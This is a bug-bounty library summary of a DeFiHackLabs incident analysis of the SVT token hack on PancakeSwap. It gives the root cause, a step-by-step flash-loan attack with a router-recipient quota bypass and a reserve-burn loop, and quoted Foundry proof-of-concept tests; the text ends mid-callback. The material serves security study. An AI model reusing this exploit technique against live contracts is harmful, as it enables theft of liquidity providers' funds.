# SVT: sell-side pool burn drains PancakeSwap pair

SVT fee-on-transfer token burns its own PancakeSwap pool reserve on each sell, letting an attacker flash-loan, deflate the SVT reserve, and drain ~102 WBNB.

- Payout: Real-world hack
- Severity: high
- Program: SVT
- Analysis by: DeFiHackLabs
- Disclosed: 2026-11-27
- Write-up quality: 8/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2026-11/SVT_exp.sol
- Library page: https://bugbountylibrary.com/r/dhl%3A20261127-svt
- Tags: area:web3 domain:web3 impact:funds-loss kind:incident platform:defihacklabs sev:high tech:evm tech:solidity technique:chained technique:source-review vuln:business-logic vuln:flash-loan vuln:oracle-manipulation

**Target:** Fee-on-transfer BEP20 token / PancakeSwap SVT-WBNB pair
**Root cause:** On every taxed sell, _burnFromPool burns SVT directly from the pair's balance (up to 3% per sell) and calls pair.sync(), pushing SVT price up without any WBNB paid; the anti-flash guard _wbnbAboveReserve only gates buys, not the sell-side reserve burn.
**Steps:**
1. Flash-borrow 112.499 WBNB from Moolah (fee-free).
2. Buy ~39,100 SVT with swap recipient set to the PancakeRouter (`to == router`) so isBuy is false, bypassing the phase-1 quota gate, 3% tax and anti-flash guard; sweep router balance via `removeLiquidityETHSupportingFeeOnTransferTokens` using a dust LP ticket.
3. Run 185 tiny sells; each burns ~3% of the pair's SVT reserve via `_burnFromPool` + `pair.sync()`, then recover pushed SVT with `pair.skim()`, collapsing reserve from 75,085 to ~128 SVT while WBNB stays flat.
4. Dump ~37,991 SVT stock into the SVT-starved pool, draining WBNB to ~0.73.
5. Repay flash loan; keep ~102.4 WBNB.
**How found:** Code review of the token's sell path revealed _burnFromPool burns pair balance and syncs, while the anti-flash guard only checks buys; the phase-1 quota check's isBuy condition (from == pair && to != router && to != pair) suggested the router-recipient bypass.
**Exploitation:** Single-transaction round trip: flash loan WBNB, buy SVT cheaply via router-recipient quota bypass, loop 185 sell+skim rounds to burn the pair's SVT reserve and inflate SVT price, then dump the accumulated stock into the now WBNB-heavy pool to extract ~102.4 WBNB profit.
**Escalation:** Quota gate bypassed by routing buy recipient to the router (to == router makes isBuy false), enabling the full attack from a fresh unprivileged contract.
**Insight:** For fee-on-transfer tokens, check whether the tax/burn logic mutates the AMM pair's own reserves (burn-from-pair + sync) rather than just the sender's balance; also inspect buy/sell classification predicates for recipient-based bypasses (to == router).

## Proof of concept (copied exactly from the original report)

**Flash loan, buy via router bypass, burn loop, dump**

```
function testExploit() public {
        (uint112 r0, uint112 r1,) = PAIR.getReserves();
        console.log("pool SVT reserve  (pre):", uint256(r0));
        console.log("pool WBNB reserve (pre):", uint256(r1));

        MOOLAH.flashLoan(address(WBNB), FLASH_AMOUNT, "");

        uint256 profit = WBNB.balanceOf(address(this));
        (, uint112 r1After,) = PAIR.getReserves();
        console.log("WBNB profit kept  (wei):", profit);
        console.log("pool WBNB left    (wei):", uint256(r1After));

        // ~102.4 WBNB was taken on-chain; assert the measured drain with a small margin.
        assertGt(profit, 100e18, "profit below measured drain");
        assertLt(uint256(r1After), 1e18, "pool WBNB not drained");
    }
```

**Negative control without burn loop**

```
function testNegativeControl() public {
        deal(address(WBNB), address(this), FLASH_AMOUNT);
        uint256 spent = WBNB.balanceOf(address(this));

        deal(address(SVT), address(this), SEED);
        _buyStockViaRouterBypass();
        _dumpStock();

        uint256 got = WBNB.balanceOf(address(this));
        console.log("control WBNB in   (wei):", spent);
        console.log("control WBNB out  (wei):", got);
        // No reserve burn -> the round trip cannot even return the WBNB it started with.
        assertLt(got, spent, "control unexpectedly profitable");
    }
```

**Flash loan callback entry**

```
function onMoolahFlashLoan(uint256 assets, bytes calldata) external {
        require(msg.sender == address(MOOLAH), "bad caller");

        // Seed the dust LP ticket used to s
```

